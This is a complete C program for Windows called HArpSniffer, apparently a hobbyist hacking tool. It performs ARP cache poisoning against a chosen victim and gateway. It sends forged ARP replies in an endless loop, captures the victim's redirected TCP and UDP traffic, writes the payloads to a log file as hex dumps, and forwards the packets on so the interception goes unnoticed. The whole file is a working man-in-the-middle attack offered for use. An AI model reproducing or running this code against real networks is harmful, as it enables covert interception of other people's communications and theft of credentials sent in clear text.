#include <winsock2.h>
#include <stdio.h>
#include <Iphlpapi.h>
#include "Packet32.h"
#include "YouHua.h"
#pragma comment(lib, "packet.lib")
#pragma comment(lib, "ws2_32.lib")
#pragma comment(lib,"iphlpapi.lib")
#define MAX_PACK_LEN 65535 //接收的最大IP报文
#define MAX_ADDR_LEN 16 //点分十进制地址的最大长度
#define MAX_PROTO_TEXT_LEN 16 //子协议名称(如"TCP")最大长度
#define MAX_PROTO_NUM 12 //子协议数量
#define TCP_ID 1 //定义TCP标志
#define UDP_ID 2 //定义UDP标志
#define NDIS_PACKET_TYPE_DIRECTED 0x0001 //直接模式
#pragma pack(push, 1)
//以太网物理帧头部
typedef struct _et_header
{
unsigned char eh_dst[6];
unsigned char eh_src[6];
unsigned short eh_type;
}ET_HEADER;
//ARP帧头部
typedef struct _arp_header
{
unsigned short arp_hdr;
unsigned short arp_pro;
unsigned char arp_hln;
unsigned char arp_pln;
unsigned short arp_opt;
unsigned char arp_sha[6];
unsigned long arp_spa;
unsigned char arp_tha[6];
unsigned long arp_tpa;
}ARP_HEADER;
// 网卡信息
typedef struct tagAdapterInfo
{
char szDeviceName[128]; // 名字
char szIPAddrStr[16]; // IP
char szHWAddrStr[18]; // MAC
DWORD dwIndex; // 编号
}INFO_ADAPTER, *PINFO_ADAPTER;
//
INFO_ADAPTER infoAdapterList[10];
#pragma pack(pop)
//将被传递到监听线程的信息结构
typedef struct info
{
LPADAPTER lpAdapter;
char szToIP[20];
char szToMac[6];
char szFromIP[20];
char szFromMac[6];
char szLocalIP[20];
char szLocalMac[6];
}INFO, *LPINFO;
//IP报头部
typedef struct _ip_header
{
unsigned char h_verlen; //4位IP版本号+4位首部长度
unsigned char tos; //8位服务类型TOS
unsigned short total_len; //16位总长度(字节)
unsigned short ident; //16位标识
unsigned short frag_and_flags; //3位标志位+13位分段偏移量
unsigned char ttl; //8位生存时间 TTL
unsigned char proto; //8位协议 (TCP, UDP 或其他)
unsigned short checksum; //16位IP首部校验和
unsigned int sourceIP; //32位源IP地址
unsigned int destIP; //32位目的IP地址
}IP_HEADER;
typedef struct _tcphdr //定义TCP首部
{
USHORT th_sport; //16位源端口
USHORT th_dport; //16位目的端口
unsigned int th_seq; //32位序列号
unsigned int th_ack; //32位确认号
unsigned char th_lenres; //4位首部长度+4位保留字
unsigned char th_flag; //余下2位保留字+6位标志位
USHORT th_win; //16位窗口大小
USHORT th_sum; //16位校验和
USHORT th_urp; //16位紧急数据偏移量
}TCP_HEADER;
typedef struct _udphdr //定义UDP首部
{
unsigned short uh_sport; //16位源端口
unsigned short uh_dport; //16位目的端口
unsigned short uh_len; //16位长度
unsigned short uh_sum; //16位校验和
} UDP_HEADER;
typedef struct _icmphdr //定义ICMP首部
{
BYTE i_type; //8位类型
BYTE i_code; //8位代码
USHORT i_cksum; //16位校验和
USHORT i_id; //识别号(一般用进程号作为识别号)
USHORT i_seq; //报文序列号
ULONG timestamp; //时间戳
}ICMP_HEADER;
FILE *fp=fopen("HArpSniffer.log","a+");
int _Sport;
int _Dport;
typedef struct _protomap //定义子协议映射表
{
int ProtoNum;
char ProtoText[MAX_PROTO_TEXT_LEN];
}PROTOMAP;
PROTOMAP ProtoMap[MAX_PROTO_NUM]={ //为子协议映射表赋值
{ IPPROTO_IP, "IP " },
{ IPPROTO_ICMP, "ICMP" },
{ IPPROTO_IGMP, "IGMP" },
{ IPPROTO_GGP, "GGP " },
{ IPPROTO_TCP, "TCP " },
{ IPPROTO_PUP, "PUP " },
{ IPPROTO_UDP, "UDP " },
{ IPPROTO_IDP, "IDP " },
{ IPPROTO_ND, "NP " },
{ IPPROTO_RAW, "RAW " },
{ IPPROTO_MAX, "MAX " },
{ NULL, "" } };
void usage()
{
printf("Name : X14oH4o/r/n");
printf("QQ : 82602935/r/n");
printf("Usage: HARPSniffer FromIP ToIP /r/n/r/n");
printf("Example : HArpSniffer 192.168.0.5 192.168.0.1");
}
//协议识别
char * CheckProtocol(int iProtocol)
{
for(int i=0; i<MAX_PROTO_NUM; i++)
if(ProtoMap[i].ProtoNum==iProtocol)
return ProtoMap[i].ProtoText;
return "";
}
//打印日志
void trace(FILE *fp,int id,char *buff,int len)
{
unsigned char *abuf,*hbuf;
int i,g,k;
if(len>0)
{
fprintf(fp,"==================================data begin===================================/r/n");
switch(id)
{
case TCP_ID:
hbuf=(unsigned char *)buff;
abuf=(unsigned char *)buff;
fprintf(fp,"Displacement -1--2--3--4--5--6--7--8-Hex-0--1--2--3--4--5--6 --ASCII Value--/n");
for(i=0, g=len/16; i < g; i++)
{
fprintf(fp, "M(%6.6d) =< ",i*16);
for(k=0; k<16; k++) fprintf(fp, "%02x ",*hbuf++);
fprintf(fp,"> ");
for(k=0; k<16; k++, abuf++)
fprintf(fp, "%c",(*abuf>32) ? ((*abuf<127 || *abuf>160) ? *abuf : '*') : '.');
fprintf(fp,"/r/n");
}
if((i=len%16) > 0)
{
fprintf(fp,"M(%6.6d) =< ",len-len%16);
for(k=0; k < i; k++) fprintf(fp, "%02x ",*hbuf++);
for(k=i; k < 16; k++) fprintf(fp, " ");
fprintf(fp, "> ");
for(k=0; k < i; k++, abuf++)
fprintf(fp, "%c",(*abuf>32) ? ((*abuf<127 || *abuf>160) ? *abuf : '*') : '.');
fprintf(fp, "/r/n");
}
break;
case UDP_ID:
for( i=0;i<len;i++)
{
if (!(i%8)&&i!=0)
fprintf(fp,"/r/n");
if ( (buff[i]>33) && (buff[i]<122) )
fprintf(fp,"%3c [%3x]", buff[i], buff[i]);
else
fprintf(fp,"--- [%3x]", abs(buff[i]));
}
if(i%8)
fprintf(fp,"/r/n");
break;
default:
break;
}
fprintf(fp,"========================================end=====================================/r/n/r/n");
fflush(fp);
}
}
//UDP解包
int DecodeUdpPack(char * UdpBuf,int iBufSize)
{
UDP_HEADER * pUdpHeader;
pUdpHeader = (UDP_HEADER * )UdpBuf;
_Sport=ntohs(pUdpHeader->uh_sport);
_Dport=ntohs(pUdpHeader->uh_dport);
char * UdpData=UdpBuf+8;
trace(fp,UDP_ID,UdpData,iBufSize-8);
return 1;
}
//TCP解包
int DecodeTcpPack(char * TcpBuf,int iBufSize)
{
TCP_HEADER * pTcpHeader;
pTcpHeader = (TCP_HEADER * )TcpBuf;
_Sport=ntohs(pTcpHeader->th_sport);
_Dport=ntohs(pTcpHeader->th_dport);
int TcpHeaderLen = sizeof(unsigned long) * (pTcpHeader->th_lenres>>4);
char *TcpData=TcpBuf+TcpHeaderLen;
trace(fp,TCP_ID,TcpData,iBufSize-TcpHeaderLen);
return 1;
}
int DecodeIpPack(char *buf, int iBufSize)
{
IP_HEADER *pIpheader;
pIpheader = (IP_HEADER *)buf;
int iProtocol;
iProtocol = pIpheader->proto;
char szProtocol[MAX_PROTO_TEXT_LEN];
strncpy(szProtocol,CheckProtocol(iProtocol),MAX_PROTO_TEXT_LEN);
char szSourceIP[MAX_ADDR_LEN], szDestIP[MAX_ADDR_LEN];
SOCKADDR_IN saSource,saDest;
saSource.sin_addr.s_addr = pIpheader->sourceIP;
strncpy(szSourceIP, inet_ntoa(saSource.sin_addr), MAX_ADDR_LEN);
saDest.sin_addr.s_addr = pIpheader->destIP;
strncpy(szDestIP, inet_ntoa(saDest.sin_addr), MAX_ADDR_LEN);
int iIphLen = sizeof(unsigned long) * (pIpheader->h_verlen &0xf);
switch(iProtocol)
{
case IPPROTO_TCP :
fprintf(fp,"%s%25s:%d%20s:%d/r/n",szProtocol,szSourceIP,_Sport,szDestIP,_Dport);
DecodeTcpPack(buf+iIphLen,iBufSize-iIphLen);
break;
case IPPROTO_UDP :
fprintf(fp,"%s%25s:%d%20s:%d/r/n",szProtocol,szSourceIP,_Sport,szDestIP,_Dport);
DecodeUdpPack(buf+iIphLen,iBufSize-iIphLen);
break;
case IPPROTO_ICMP:
_Sport='/0';
_Dport='/0';
default :
break;
}
printf("%s%25s:%d%20s:%d/n",szProtocol,szSourceIP,_Sport,szDestIP,_Dport);
return 1;
}
int GetLocalAdapterList()
{
char tempChar;
ULONG uListSize=1;
PIP_ADAPTER_INFO pAdapter; // 定义PIP_ADAPTER_INFO结构存储网卡信息
int nAdapterIndex = 0;
//获得网卡列表信息串长度
DWORD dwRet = GetAdaptersInfo((PIP_ADAPTER_INFO)&tempChar, &uListSize);
printf("/r/nTry to get adapter list.../r/n");
if (dwRet == ERROR_BUFFER_OVERFLOW)
{
PIP_ADAPTER_INFO pAdapterListBuffer = (PIP_ADAPTER_INFO) new (char[uListSize]);
dwRet = GetAdaptersInfo(pAdapterListBuffer, &uListSize);
if (dwRet == ERROR_SUCCESS)
{
pAdapter = pAdapterListBuffer;
// 枚举网卡然后将相关条目添加到List中
while (pAdapter)
{
// 网卡名字
char strTemp[128];
strcpy(strTemp, "//Device//NPF_");
strcat(strTemp, pAdapter->AdapterName); // 加上前缀
strcpy(infoAdapterList[nAdapterIndex].szDeviceName,strTemp);
// IP
strcpy(infoAdapterList[nAdapterIndex].szIPAddrStr,pAdapter->IpAddressList.IpAddress.String );
// MAC
memcpy( infoAdapterList[nAdapterIndex].szHWAddrStr, pAdapter->Address, 6);
// 网卡编号
infoAdapterList[nAdapterIndex].dwIndex = pAdapter->Index;
pAdapter = pAdapter->Next;
nAdapterIndex ++;
}
delete pAdapterListBuffer;
}
return nAdapterIndex;
}
return 0;
}
bool GetRemoteMac(unsigned char *remoteMac,char *remoteIP) //获取远程主机MAC地址
{
ULONG remoteAddr=0,macAddrLen=6;
unsigned char remoteMacTemp[6]={0};
remoteAddr=inet_addr(remoteIP);
if(SendARP(remoteAddr, (unsigned long)NULL,(PULONG)&remoteMacTemp, &macAddrLen)!=NO_ERROR)
{
printf("Get remote MAC failed!/n");
return FALSE;
}
memcpy(remoteMac,remoteMacTemp,6);
/*
printf("Remote IP: %16s MAC: ", remoteIP);
for(int i=0; i<6; i++ )
{
printf( "%.2x", remoteMac[i] );
if(i!=5) printf("-");
}
printf("/r/n");
*/
return TRUE;
}
//分析接收到数据包
void DecodeARP(LPADAPTER lpAdapter, LPPACKET lpPacket, ET_HEADER *lpEthdr, int nDataLen, LPINFO pInfo)
{
IP_HEADER *lpIphdr = (IP_HEADER *)((unsigned char *)lpEthdr + sizeof(ET_HEADER));
//过滤报文
if(memcmp(lpEthdr->eh_dst, pInfo->szLocalMac, 6) != 0) return;
if((inet_addr(pInfo->szLocalIP) != lpIphdr->destIP) && memcmp((unsigned char *)lpEthdr + 6, pInfo->szFromMac, 6) == 0)
{
//解包
DecodeIpPack((char *)lpIphdr, ntohs(lpIphdr->total_len));
//将嗅探到的包发送到真正的目的地
memcpy((unsigned char *)lpEthdr, pInfo->szToMac, 6);
memcpy((unsigned char *)lpEthdr+6, pInfo->szLocalMac, 6);
PacketInitPacket(lpPacket, lpEthdr, nDataLen);
PacketSetNumWrites(lpAdapter, 2);
PacketSendPacket(lpAdapter, lpPacket, TRUE);
}
}
//监听线程
DWORD WINAPI Listen(void *param)
{
LPADAPTER lpAdapter;
LPPACKET lpPacket;
char buf[256000]={0};
bpf_hdr *lpBpfhdr;
ET_HEADER *lpEthdr;
LPPACKET lpSendPacket = PacketAllocatePacket();
LPINFO pInfo = (INFO *)param;
lpAdapter = pInfo->lpAdapter;
lpPacket = PacketAllocatePacket(); //给PACKET结构指针分配内存
if(lpPacket == NULL)
printf("Error: failed to allocate the LPPACKET structure cheat./r/n");
if(!PacketSetHwFilter(lpAdapter, NDIS_PACKET_TYPE_DIRECTED))
printf("Warning: unable to set directed mode!/r/n"); //设置网卡为直接模式
if(!PacketSetBuff(lpAdapter,512000)) //设置网卡接收数据包的缓冲区大小
printf("Unable to set the kernel buffer!/r/n");
if(!PacketSetReadTimeout(lpAdapter,50)) //设置接收超时
printf("Warning: unable to set the read tiemout!/r/n");
PacketInitPacket(lpPacket, buf, 6000); //初始化PACKET结构指针
printf("Listening.../r/n");
printf("%-20s%-20s%-20s/n","协议类型","起始IP与端口","目标IP与端口");
while(TRUE)
{
//接收数据包
if(!PacketReceivePacket(lpAdapter, lpPacket, FALSE))
{
printf("Error: PacketReceivePacket failed/n");
break;
}
lpBpfhdr = (bpf_hdr *)(lpPacket->Buffer);
lpEthdr = (ET_HEADER *)((unsigned char *)(lpPacket->Buffer) + lpBpfhdr->bh_hdrlen);
//判断IP报文类型
if(lpEthdr->eh_type == htons(0x0800))
{
DecodeARP(lpAdapter, lpSendPacket, lpEthdr, lpBpfhdr->bh_datalen, pInfo); //分析数据包
}
}
PacketFreePacket(lpPacket);
PacketFreePacket(lpSendPacket);
return 1;
}
int main(int argc, char* argv[])
{
system("color 3");
LPADAPTER lpAdapter;
LPPACKET lpPacket;
ET_HEADER et_header;
ARP_HEADER arp_header;
char buffer[512]={0};
INFO param={0};
int index = 0;
int adaptercount = 0;
WSADATA wsaData;
char commands[32];
if(argc != 3)
{
usage();
return -1;
}
unsigned char FromMac[6] = {0};
unsigned char ToMac[6] = {0};
unsigned char LocalMac[6] = {0};
if(WSAStartup(MAKEWORD(2,1), &wsaData)!=0)
{
printf("WSAStartup error!/n");
return -1;
}
//获取目标真实MAC地址
if(GetRemoteMac(FromMac, argv[1]) == FALSE || GetRemoteMac(ToMac, argv[2]) == FALSE)
{
return -1;
}
sprintf(commands, "arp -s %s %02x-%02x-%02x-%02x-%02x-%02x", /
argv[1], FromMac[0], FromMac[1], FromMac[2], FromMac[3], FromMac[4], FromMac[5]);
system(commands);
sprintf(commands, "arp -s %s %02x-%02x-%02x-%02x-%02x-%02x", /
argv[2], ToMac[0], ToMac[1], ToMac[2], ToMac[3], ToMac[4], ToMac[5]);
system(commands);
//获得适配器列表
adaptercount = GetLocalAdapterList();
for(int i = 0; i< adaptercount; i++)
printf("%d: %s: %s/n/n",i,infoAdapterList[i].szIPAddrStr,infoAdapterList[i].szDeviceName);
printf("Select a working adapter by number:");
while(TRUE)
{
scanf("%d",&index);
if(index >= 0 && index < adaptercount) break;
}
memcpy(LocalMac, infoAdapterList[index].szHWAddrStr, 6);
//打开适配器
lpAdapter=(LPADAPTER)PacketOpenAdapter((LPTSTR)infoAdapterList[index].szDeviceName);
if (!lpAdapter||(lpAdapter->hFile==INVALID_HANDLE_VALUE))
{
printf("Unable to open the driver, Error Code : %lx/n", GetLastError());
return -1;
}
//伪造ARP应答包
memcpy(et_header.eh_src, LocalMac, 6);
memcpy(et_header.eh_dst, FromMac, 6);
et_header.eh_type=htons(0x0806); //类型为0x0806表示这是ARP包
arp_header.arp_hdr=htons(0x0001); //硬件地址类型以太网地址
arp_header.arp_pro=htons(0x0800); //协议地址类型为IP协议
arp_header.arp_hln=0x06; //硬件地址长度为6
arp_header.arp_pln=0x04; //协议地址长度为4
arp_header.arp_opt=htons(0x0002); //标识为ARP应答
arp_header.arp_spa=inet_addr(argv[2]); //source_ip
memcpy(arp_header.arp_sha,et_header.eh_src,6);
arp_header.arp_tpa=inet_addr(argv[1]); //target_ip
memcpy(arp_header.arp_tha,et_header.eh_dst,6);
memcpy(buffer,&et_header,sizeof(ET_HEADER));
memcpy(buffer+sizeof(ET_HEADER),&arp_header,sizeof(ARP_HEADER));
//创建监听线程
param.lpAdapter = lpAdapter;
memcpy(param.szFromIP,argv[1],strlen(argv[1]));
memcpy(param.szFromMac, FromMac, 6);
memcpy(param.szToIP,argv[2],strlen(argv[2]));
memcpy(param.szToMac, ToMac, 6);
memcpy(param.szLocalIP, infoAdapterList[index].szIPAddrStr,strlen(infoAdapterList[index].szIPAddrStr));
memcpy(param.szLocalMac, infoAdapterList[index].szHWAddrStr, 6);
CreateThread(NULL,0,Listen,¶m,0,NULL);
//给PACKET结构指针分配内存
lpPacket=PacketAllocatePacket();
//初始化PACKET结构指针
PacketInitPacket(lpPacket,buffer,64);
//设置发送次数
if(PacketSetNumWrites(lpAdapter, 2) == FALSE)
{
printf("warning: Unable to send more than one packet in a single write!/n");
}
//不断发送伪造的ARP应答包欺骗目标主机
while(TRUE)
{
if(PacketSendPacket(lpAdapter,lpPacket,TRUE) == FALSE)
{
printf("Error sending the packets!/n");
break;
}
Sleep(100);
}
PacketFreePacket(lpPacket); //释放PACKET结构指针
PacketCloseAdapter(lpAdapter); //关闭适配器
WSACleanup();
return 0;
}